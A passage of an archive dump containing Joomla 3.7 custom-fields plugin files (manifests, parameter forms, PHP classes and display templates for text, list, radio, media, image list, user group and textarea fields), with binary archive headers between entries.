		if (!is_array($field->rawvalue))
		{
			$field->rawvalue = (array) $field->rawvalue;
		}

		return parent::onCustomFieldsPrepareField($context, $item, $field);
	}
}
PK�(]oƔ�##fields/list/params/list.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="multiple"
				type="list"
				label="PLG_FIELDS_LIST_PARAMS_MULTIPLE_LABEL"
				description="PLG_FIELDS_LIST_PARAMS_MULTIPLE_DESC"
				filter="integer"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="options"
				type="subform"
				label="PLG_FIELDS_LIST_PARAMS_OPTIONS_LABEL"
				description="PLG_FIELDS_LIST_PARAMS_OPTIONS_DESC"
				layout="joomla.form.field.subform.repeatable-table"
				icon="list"
				multiple="true"
				>
				<form hidden="true" name="list_templates_modal" repeat="true">
					<field
						name="name"
						type="text"
						label="PLG_FIELDS_LIST_PARAMS_OPTIONS_NAME_LABEL"
						size="30"
					/>

					<field
						name="value"
						type="text"
						label="PLG_FIELDS_LIST_PARAMS_OPTIONS_VALUE_LABEL"
						size="30"
					/>
				</form>
			</field>
		</fieldset>
	</fields>
</form>
PK�(]�ʗ���fields/radio/params/radio.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="options"
				type="subform"
				label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_LABEL"
				description="PLG_FIELDS_RADIO_PARAMS_OPTIONS_DESC"
				layout="joomla.form.field.subform.repeatable-table"
				icon="list"
				multiple="true"
				>
				<form hidden="true" name="list_templates_modal" repeat="true">
					<field
						name="name"
						type="text"
						label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_NAME_LABEL"
						size="30"
					/>

					<field
						name="value"
						type="text"
						label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_VALUE_LABEL"
						size="30"
					/>
				</form>
			</field>
		</fieldset>
	</fields>

	<fields name="params">
		<fieldset name="basic">
			<field
				name="class"
				type="textarea"
				label="COM_FIELDS_FIELD_CLASS_LABEL"
				description="COM_FIELDS_FIELD_CLASS_DESC"
				class="input-xxlarge"
				size="40"
				default="btn-group"
			/>
		</fieldset>
	</fields>
</form>
PK�(]~щ�		fields/radio/radio.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_radio</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_RADIO_XML_DESCRIPTION</description>
	<files>
		<filename plugin="radio">radio.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_radio.ini</language>
		<language tag="en-GB">en-GB.plg_fields_radio.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="options"
					type="subform"
					label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_LABEL"
					description="PLG_FIELDS_RADIO_PARAMS_OPTIONS_DESC"
					layout="joomla.form.field.subform.repeatable-table"
					icon="list"
					multiple="true"
					>
					<form hidden="true" name="list_templates_modal" repeat="true">
						<field
							name="name"
							type="text"
							label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_NAME_LABEL"
							size="30"
						/>

						<field
							name="value"
							type="text"
							label="PLG_FIELDS_RADIO_PARAMS_OPTIONS_VALUE_LABEL"
							size="30"
						/>
					</form>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]/P�#��fields/radio/radio.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Radio
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldslistplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Radio Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsRadio extends FieldsListPlugin
{
}
PK�(]�%_iTTfields/radio/tmpl/radio.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Radio
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

$value   = (array) $value;
$texts   = array();
$options = $this->getOptionsFromField($field);

foreach ($options as $optionValue => $optionText)
{
	if (in_array((string) $optionValue, $value))
	{
		$texts[] = JText::_($optionText);
	}
}


echo htmlentities(implode(', ', $texts));
PK�(]�8���fields/media/media.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_media</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_MEDIA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="media">media.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_media.ini</language>
		<language tag="en-GB">en-GB.plg_fields_media.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="directory"
					type="folderlist"
					label="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_LABEL"
					description="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_DESC"
					directory="images"
					hide_none="true"
					recursive="true"
				/>

				<field
					name="preview"
					type="list"
					label="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_LABEL"
					description="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_DESC"
					class="btn-group"
					default="tooltip"
					>
					<option value="tooltip">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_TOOLTIP</option>
					<option value="true">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_INLINE</option>
					<option value="false">JNO</option>
				</field>

				<field
					name="image_class"
					type="textarea"
					label="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_LABEL"
					description="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_DESC"
					size="40"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]@���fields/media/media.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Media
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Media Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsMedia extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$fieldNode->setAttribute('hide_default', 'true');

		return $fieldNode;
	}
}
PK�(]kb9���fields/media/params/media.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="directory"
				type="folderlist"
				label="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_LABEL"
				description="PLG_FIELDS_MEDIA_PARAMS_DIRECTORY_DESC"
				directory="images"
				hide_none="true"
				recursive="true"
			/>

			<field
				name="preview"
				type="list"
				label="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_LABEL"
				description="PLG_FIELDS_MEDIA_PARAMS_PREVIEW_DESC"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="tooltip">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_TOOLTIP</option>
				<option value="true">PLG_FIELDS_MEDIA_PARAMS_PREVIEW_INLINE</option>
				<option value="false">JNO</option>
			</field>

			<field
				name="image_class"
				type="textarea"
				label="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_LABEL"
				description="PLG_FIELDS_MEDIA_PARAMS_IMAGE_CLASS_DESC"
				size="40"
			/>
		</fieldset>
	</fields>
</form>
PK�(]��oD��fields/media/tmpl/media.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Media
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

if ($field->value == '')
{
	return;
}

$class = $fieldParams->get('image_class');

if ($class)
{
	$class = ' class="' . htmlentities($class, ENT_COMPAT, 'UTF-8', true) . '"';
}

$value  = (array) $field->value;
$buffer = '';

foreach ($value as $path)
{
	if (!$path)
	{
		continue;
	}

	$buffer .= sprintf('<img src="%s"%s>',
		htmlentities($path, ENT_COMPAT, 'UTF-8', true),
		$class
	);
}

echo $buffer;
PK�(]Mp^/��-fields/usergrouplist/params/usergrouplist.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="multiple"
				type="list"
				label="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_LABEL"
				description="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_DESC"
				filter="integer"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
</form>
PK�(]�	/^  &fields/usergrouplist/usergrouplist.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_usergrouplist</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_USERGROUPLIST_XML_DESCRIPTION</description>
	<files>
		<filename plugin="usergrouplist">usergrouplist.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_usergrouplist.ini</language>
		<language tag="en-GB">en-GB.plg_fields_usergrouplist.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="multiple"
					type="radio"
					label="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_LABEL"
					description="PLG_FIELDS_USERGROUPLIST_PARAMS_MULTIPLE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]�H���&fields/usergrouplist/usergrouplist.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Usergrouplist
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Usergrouplist Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsUsergrouplist extends FieldsPlugin
{
}
PK�(]�����+fields/usergrouplist/tmpl/usergrouplist.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Usergrouplist
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

JLoader::register('UsersHelper', JPATH_ADMINISTRATOR . '/components/com_users/helpers/users.php');

$value  = (array) $value;
$texts  = array();
$groups = UsersHelper::getGroups();

foreach ($groups as $group)
{
	if (in_array($group->value, $value))
	{
		$texts[] = htmlentities(trim($group->text, '- '));
	}
}

echo htmlentities(implode(', ', $texts));
PK�(]�hE�		%fields/imagelist/params/imagelist.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="directory"
				type="folderlist"
				label="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_LABEL"
				description="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_DESC"
				directory="images"
				hide_none="true"
				hide_default="true"
				recursive="true"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="/">/</option>
			</field>

			<field
				name="multiple"
				type="list"
				label="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_LABEL"
				description="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_DESC"
				filter="integer"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="image_class"
				type="textarea"
				label="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_LABEL"
				description="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_DESC"
				size="40"
			/>
		</fieldset>
	</fields>
</form>
PK�(]�o�l��#fields/imagelist/tmpl/imagelist.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Imagelist
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

if ($field->value == '')
{
	return;
}

$class = $fieldParams->get('image_class');

if ($class)
{
	// space before, so if no class sprintf below works
	$class = ' class="' . htmlentities($class, ENT_COMPAT, 'UTF-8', true) . '"';
}

$value  = (array) $field->value;
$buffer = '';

foreach ($value as $path)
{
	if (!$path || $path == '-1')
	{
		continue;
	}

	if ($fieldParams->get('directory', '/') !== '/')
	{
		$buffer .= sprintf('<img src="images/%s/%s"%s>',
			$fieldParams->get('directory'),
			htmlentities($path, ENT_COMPAT, 'UTF-8', true),
			$class
		);
	}
	else
	{
		$buffer .= sprintf('<img src="images/%s"%s>',
			htmlentities($path, ENT_COMPAT, 'UTF-8', true),
			$class
		);
	}
}

echo $buffer;
PK�(]%m�auufields/imagelist/imagelist.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Imagelist
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Imagelist Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsImagelist extends FieldsPlugin
{
	/**
	 * Transforms the field into a DOM XML element and appends it as a child on the given parent.
	 *
	 * @param   stdClass    $field   The field.
	 * @param   DOMElement  $parent  The field node parent.
	 * @param   JForm       $form    The form.
	 *
	 * @return  DOMElement
	 *
	 * @since   3.7.0
	 */
	public function onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)
	{
		$fieldNode = parent::onCustomFieldsPrepareDom($field, $parent, $form);

		if (!$fieldNode)
		{
			return $fieldNode;
		}

		$fieldNode->setAttribute('hide_default', 'true');
		$fieldNode->setAttribute('directory', '/images/' . $fieldNode->getAttribute('directory'));

		return $fieldNode;
	}
}
PK�(]�5�fields/imagelist/imagelist.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_imagelist</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_IMAGELIST_XML_DESCRIPTION</description>
	<files>
		<filename plugin="imagelist">imagelist.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_imagelist.ini</language>
		<language tag="en-GB">en-GB.plg_fields_imagelist.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="directory"
					type="folderlist"
					label="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_LABEL"
					description="PLG_FIELDS_IMAGELIST_PARAMS_DIRECTORY_DESC"
					directory="images"
					hide_none="true"
					hide_default="true"
					recursive="true"
					default="/"
					>
					<option value="/">/</option>
				</field>

				<field
					name="multiple"
					type="radio"
					label="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_LABEL"
					description="PLG_FIELDS_IMAGELIST_PARAMS_MULTIPLE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="image_class"
					type="textarea"
					label="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_LABEL"
					description="PLG_FIELDS_IMAGELIST_PARAMS_IMAGE_CLASS_DESC"
					size="40"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]_��;		fields/textarea/textarea.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_textarea</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_TEXTAREA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="textarea">textarea.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_textarea.ini</language>
		<language tag="en-GB">en-GB.plg_fields_textarea.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="rows"
					type="number"
					label="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_LABEL"
					description="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_DESC"
					default="10"
					filter="integer"
					size="5"
				/>

				<field
					name="cols"
					type="number"
					label="PLG_FIELDS_TEXTAREA_PARAMS_COLS_LABEL"
					description="PLG_FIELDS_TEXTAREA_PARAMS_COLS_DESC"
					default="10"
					filter="integer"
					size="5"
				/>

				<field
					name="maxlength"
					type="number"
					label="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_LABEL"
					description="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_DESC"
					filter="integer"
				/>

				<field
					name="filter"
					type="list"
					label="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_LABEL"
					description="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_DESC"
					class="btn-group"
					default="JComponentHelper::filterText"
					validate="options"
					>
					<option value="0">JNO</option>
					<option value="raw">JLIB_FILTER_PARAMS_RAW</option>
					<option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option>
					<option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option>
					<option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option>
					<option value="integer">JLIB_FILTER_PARAMS_INTEGER</option>
					<option value="float">JLIB_FILTER_PARAMS_FLOAT</option>
					<option value="tel">JLIB_FILTER_PARAMS_TEL</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]��5��fields/textarea/textarea.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Textarea
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Textarea Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsTextarea extends FieldsPlugin
{
}
PK�(]�����#fields/textarea/params/textarea.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="rows"
				type="number"
				label="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_LABEL"
				description="PLG_FIELDS_TEXTAREA_PARAMS_ROWS_DESC"
				filter="integer"
				size="5"
			/>

			<field
				name="cols"
				type="number"
				label="PLG_FIELDS_TEXTAREA_PARAMS_COLS_LABEL"
				description="PLG_FIELDS_TEXTAREA_PARAMS_COLS_DESC"
				filter="integer"
				size="5"
			/>

			<field
				name="maxlength"
				type="number"
				label="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_LABEL"
				description="PLG_FIELDS_TEXTAREA_PARAMS_MAXLENGTH_DESC"
				filter="integer"
			/>

			<field
				name="filter"
				type="list"
				label="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_LABEL"
				description="PLG_FIELDS_TEXTAREA_PARAMS_FILTER_DESC"
				class="btn-group"
				validate="options"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="0">JNO</option>
				<option value="raw">JLIB_FILTER_PARAMS_RAW</option>
				<option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option>
				<option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option>
				<option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option>
				<option value="integer">JLIB_FILTER_PARAMS_INTEGER</option>
				<option value="float">JLIB_FILTER_PARAMS_FLOAT</option>
				<option value="tel">JLIB_FILTER_PARAMS_TEL</option>
			</field>
		</fieldset>
	</fields>
</form>
PK�(]N�"�hh!fields/textarea/tmpl/textarea.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Textarea
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

echo JHtml::_('content.prepare', $value);
PK�(]v��--fields/text/params/text.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="filter"
				type="list"
				label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL"
				description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC"
				class="btn-group"
				validate="options"
				>
				<option value="">COM_FIELDS_FIELD_USE_GLOBAL</option>
				<option value="0">JNO</option>
				<option value="raw">JLIB_FILTER_PARAMS_RAW</option>
				<option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option>
				<option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option>
				<option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option>
				<option value="integer">JLIB_FILTER_PARAMS_INTEGER</option>
				<option value="float">JLIB_FILTER_PARAMS_FLOAT</option>
				<option value="tel">JLIB_FILTER_PARAMS_TEL</option>
			</field>

			<field
				name="maxlength"
				type="number"
				label="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_LABEL"
				description="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_DESC"
				filter="integer"
			/>
		</fieldset>
	</fields>
</form>
PK�(]ϫ���fields/text/tmpl/text.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Text
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$value = $field->value;

if ($value == '')
{
	return;
}

if (is_array($value))
{
	$value = implode(', ', $value);
}

echo htmlentities($value);
PK�(]�Cr��fields/text/text.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Text
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::import('components.com_fields.libraries.fieldsplugin', JPATH_ADMINISTRATOR);

/**
 * Fields Text Plugin
 *
 * @since  3.7.0
 */
class PlgFieldsText extends FieldsPlugin
{
}
PK�(]�$`;;fields/text/text.xmlnu�[���<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" version="3.7.0" group="fields" method="upgrade">
	<name>plg_fields_text</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_FIELDS_TEXT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="text">text.php</filename>
		<folder>params</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_fields_text.ini</language>
		<language tag="en-GB">en-GB.plg_fields_text.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="filter"
					type="list"
					label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL"
					description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC"
					class="btn-group"
					default="JComponentHelper::filterText"
					validate="options"
					>
					<option value="0">JNO</option>
					<option value="raw">JLIB_FILTER_PARAMS_RAW</option>
					<option value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option>
					<option value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option>
					<option value="alnum">JLIB_FILTER_PARAMS_ALNUM</option>
					<option value="integer">JLIB_FILTER_PARAMS_INTEGER</option>
					<option value="float">JLIB_FILTER_PARAMS_FLOAT</option>
					<option value="tel">JLIB_FILTER_PARAMS_TEL</option>
				</field>

				<field
					name="maxlength"
					type="number"
					label="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_LABEL"
					description="PLG_FIELDS_TEXT_PARAMS_MAXLENGTH_DESC"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]�w�R�	�	'fields/repeatable/params/repeatable.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="fieldparams">
		<fieldset name="fieldparams">
			<field
				name="fields"
				type="subform"
				label="PLG_FIELDS_REPEATABLE_PARAMS_FIELDS_LABEL"
				description="PLG_FIELDS_REPEATABLE_PARAMS_FIELDS_DESC"
				multiple="true">
				<form>
					<fields>
						<fieldset>
							<field
								name="fieldname"
								type="text"
								label="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_NAME_LABEL"
								description="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_NAME_DESC"
								required="true"
							/>
							<field
								name="fieldtype"
								type="list"
								label="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_LABEL"
								description="PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_DESC"
								>
								<option value="editor">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_EDITOR</option>
								<option value="media">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_MEDIA</option>
								<option value="number">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_NUMBER</option>
								<option value="text">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_TEXT</option>
								<option value="textarea">PLG_FIELDS_REPEATABLE_PARAMS_FIELDNAME_TYPE_TEXTAREA</option>
							</field>
							<field
								name="fieldfilter"
								type="list"
								label="PLG_FIELDS_TEXT_PARAMS_FILTER_LABEL"
								description="PLG_FIELDS_TEXT_PARAMS_FILTER_DESC"
								class="btn-group"
								validate="options"
								showon="fieldtype!:media,number"
								>
								<option value="0">JNO</option>
								<option
									showon="fieldtype:editor,text,textarea"
									value="raw">JLIB_FILTER_PARAMS_RAW</option>
								<option
									showon="fieldtype:editor,text,textarea"
									value="safehtml">JLIB_FILTER_PARAMS_SAFEHTML</option>
								<option
									showon="fieldtype:editor,text,textarea"
									value="JComponentHelper::filterText">JLIB_FILTER_PARAMS_TEXT</option>
								<option
									showon="fieldtype:text,textarea"
									value="alnum">JLIB_FILTER_PARAMS_ALNUM</option>
								<option
									showon="fieldtype:text,textarea"
									value="integer">JLIB_FILTER_PARAMS_INTEGER</option>
								<option
									showon="fieldtype:text,textarea"
									value="float">JLIB_FILTER_PARAMS_FLOAT</option>
								<option
									showon="fieldtype:text,textarea"
									value="tel">JLIB_FILTER_PARAMS_TEL</option>
							</field>
						</fieldset>
					</fields>
				</form>
			</field>
		</fieldset>
	</fields>
</form>
PK�(]���??%fields/repeatable/tmpl/repeatable.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Repeatable
 *
